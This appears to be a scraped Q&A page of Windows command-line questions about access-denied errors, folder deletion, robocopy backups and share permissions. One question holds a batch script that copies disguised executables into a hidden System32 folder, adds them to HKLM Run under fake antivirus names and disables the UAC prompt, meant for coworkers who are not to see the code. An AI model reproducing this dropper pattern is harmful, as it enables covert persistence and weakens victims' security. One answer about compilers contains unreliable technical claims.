Cannot fully delete ProgramData from Windows 8 installation within WinPE - windows

I have a script that runs in WinPE that takes a system drive with Windows installed and deletes everything off of the drive (keeping the filesystem intact).
When dealing with a Windows XP/Vista/7 installation it functions properly. attrib -S -A -H -I -R /S /D \ is run, and then everything is deleted.
However, within Windows 8, I run into an "Access Denied" error. For some reason, even as the SYSTEM user within WinPE, I can't edit the directory C:\ProgramData\Microsoft\Windows\LocationProvider. I can't use attrib to set attributes, I can't delete it - I can't even cd into it! dir /a just returns File Not Found.
Using rmdir /S /Q gives me the "Access Denied" error.

Assuming that the problem is related to permissions and/or ownership, you can work around it using the built-in robocopy tool - luckily, this is included in Windows PE.
First, create an empty directory, e.g., x:\empty and then run
robocopy /e /purge /b x:\empty c:\
The /b flag tells robocopy to use backup mode, which bypasses security.

Had the same problem. You need to take ownership first, for example using takeown.exe. Then fix permissions, for example using icacls.exe. Then proceed as you wish with copy, move, delete.

Related

I'm trying to copy my game saves from the appdata directory to another drive for backup purposes but the files wont copy

I'm trying to copy my save files for my games from my AppData directory to another drive on my system but the files fail to copy. I'm using robocopy to try to achieve this and am not sure what is going wrong.
The Script I'm using is:
#echo off
set "source=C:\Users\MyUser\AppData"
set "destination=F:\Game_Saves"
robocopy "%source%" "%destination%" /E /Z /J /EFSRAW /W:1 /R:0 /REG /XJ
exit /b
I've had times where I went to play a game after some drive failure or general errors from my ISCSI drives changing letters and losing my save for my games through Epic Games because of the crappy download system they use and i just want to backup my saves to the other drive and then using duplicati to do a more long term backup and cant seem to find out why the files wont copy. If anyone can help me troubleshoot this I'd be very greatful.
I tried changing flags in my script and setting flags I thought might be helpful to my usage but it hasn't worked. I just dont want to lose my saves as some of them have 100s of hours in them. I should also mention that I want my script to complete as fast as possible which is why I don't have any retries set as the only errors I was running into were "Permission Denied" errors for folders I don't need to backup.
Drive F:\ is just a slow SATA hard drive in my PC and not an ISCSI drive and "copy.bat" my batch script is in the root of F:\
Task Scheduler Settings:
General:
Run whether user is logged in or not - yes
Run with highest privileges - yes
Triggers:
Run weekly - yes
Stop task if it runs for longer than - 4 hours
Enabled - yes
Actions:
Start a Program - yes
Program/Script - F:\copy.bat
Removing the /EFSRAW flag worked to copy the files though I'm still unsure as to why it was causing interference in the first place unless it just doesn't allow the copy of un-encrypted files in the first place with that flag set.
Updated script for others if they want to use it though it is clunky as it copies all of AppData and that is around 80 GB for my computer so this is not recommended.
#echo off
set "source=C:\Users\MyUser\AppData"
set "destination=F:\Game_Saves"
robocopy "%source%" "%destination%" /E /Z /J /W:1 /R:0 /REG /XJ /LOG+:copylog.txt
exit /b

Why dosen't my batch file copy it to the correct location?

This issue is eating my brains of. I have a simple batch file which makes a directory in %SYSTEMROOT% only if it does not exist & copies certain files to that directory, adds the attribute +S +R +H to them, adds two programs to startup via registry and disables UAC as I need it frequently like 3x day. It works well as a batch file but I want to distribute it to my fellow company mates. We all are having a competition in this so I do not need them to see my code; I know if I am still at the level of batch scripting than my code is not worth copying but my mates are also not the brightest bulbs!
My issue is that when I convert it to exe using Quick Batch Convertor as the moment it becomes an exe it starts giving Access denied error only when It gets to copy the files in %SYSTEMROOT% even though I am running it as administrator and the disabling UAC command, which is C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f works, which, originally should require admin privileges. Its only the the copying of files that give access denied when converted into exe. They all just work fine if it is in a form of batch.I know that this might be off topic but I suspect foul play on the batch file and not the Quick Batch Converter because I have converted many files using this converter an they worked flawless.
The code for my batch is here
#echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\" " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Antivirus-Update " /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\" " /f
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
exit
Any Suggestions?
Exact Duplicate of my question
See first you need to understand how a compiler works. Compiler may also be a horribly written or may be trojan. It is rare that a good compiler is made that works and is not marked as a trojan. I would recommend to start learning other languages such as C# or Python which have in-built exe convertor. So now as I said most exe Convertors can only run PURE DOS commands. Secondly There is a built in app that was modified In later versions of Windows known as UAC. From Windows 10 onwards not a single app without Perfect details that provides its Author and blah blah can be granted Full Administrator Rights until, you add an exception, by default. Then comes the 32 and 64 bit part. There are two versions of CMD from Windows 8 Onwards. One which is in C:\Windows\SYSWOWNode64 and one in C:\Windows\System32 So, If you have a 64 bit computer check for the folder in both locations. There are many more factors that play but I will wait until You Provide sufficient deatilas about what OS , 64 Bit or 32 bit computer you have and did you check in both locations so that it will narrow down my search
Regards

Batch File To Change Share Permissions of Windows 10 Folder

I recently upgraded to Windows 10 from 7 on all of my computers, I have 4. I use Cobian backup which used to work fine on windows 7 however on 10 the shares of the folders aren't set correctly and although they say they are shared they don't appear across the network so I cant back them up.
I have however found I can go into each folder and change the permissions manually and they do appear but the problem is I have around 500 folders so I wanted to know if there was a quick command or batch file that could be run to set sharing permissions to everyone for every folder in the parent folder so I don't have to do it individually?
Try toggling the inheritance on the main parent folder. The permissions should trickle down.
You can use the icacls to change the permissions, like
icacls "C:\myFolder" /grant Everyone:M
For changing permissions to all sub directories you can use a for loop and give folder name to the icacls command,
#echo off
set Dir=C:\FolderName
for /d /r "%Dir%" %%a in (*) do (
echo Setting permissions for %%~dpa Folder
icacls %%~dpa /grant Everyone:M
)
Adjust set Dir = C:\FolderName with your path (base Folder).

How can I delete a folder using CMD utitilty in Windows XP?

I have a folder without any file in it in my external hard. I am able to rename it, but not able to delete it. I ran CMD utility as an administrator and I tried the commands "del foldername", "rd foldername", "deltree foldername" (the last one was not allowed in Windows XP). They give me the message "Access is denied." for "rd foldername". How can I delete it?
I am not cmd guru, but simple as 1-2-3 is delete folder using system account.
at 11:11pm /interactive cmd
Now if system command appear, delete folder:
del foldername
try
attrib /s foldername
This should show you the directory attributes.
If the response is
R x:\dirname
then the directory is "read-only". In that case, execute
attrib -r foldername
and you should then be able to rd it.
It may be that the directory has (possibly hidden, possibly read-only) contents. The attrib /s should show these to you.

Impossible to delete folder Windows 7

I have a folder (cygwin) in my Program Files directory that can not be deleted. I am the administrator, and also the system administrator and still cannot delete the folder. I have tried deleting it with the command prompt (running it as administrator) and still cannot delete the folder. Is there any super be-all end-all way to delete this folder?
try to do this in cmd:
go to the cd where the folder is (example desktop)
cd desktop
attrib -s -h -r cygwin
cacls cygwin /e /c /g %username%:f
after that go to the cd were the folder his and try this
cd cygwin
del *.* /s /q
cd..
rd cygwin /s /q
I hope it works!
It's not clear whether what methods you've already used, but perhaps from an administrator command prompt you could try running "rd /s" on it? This would remove any subdirectories and files that might be hidden or set as system files that would otherwise prevent a delete.
I had the same issue, the folder was owned by a user that is not on my system. I don't claim to understand how that happened, but here is how I was able to finally remove the files.
First I had broken my cygwin install with previous delete commands, so I actually re-installed enough packages to have the terminal again. Then launched the terminal with administrator privileges and from cygwin prompt ran:
cd /cygdrive/c
chown -R `whoami` cygwin
This gave my current windows user the permissions to the folder and I was able to delete.

Resources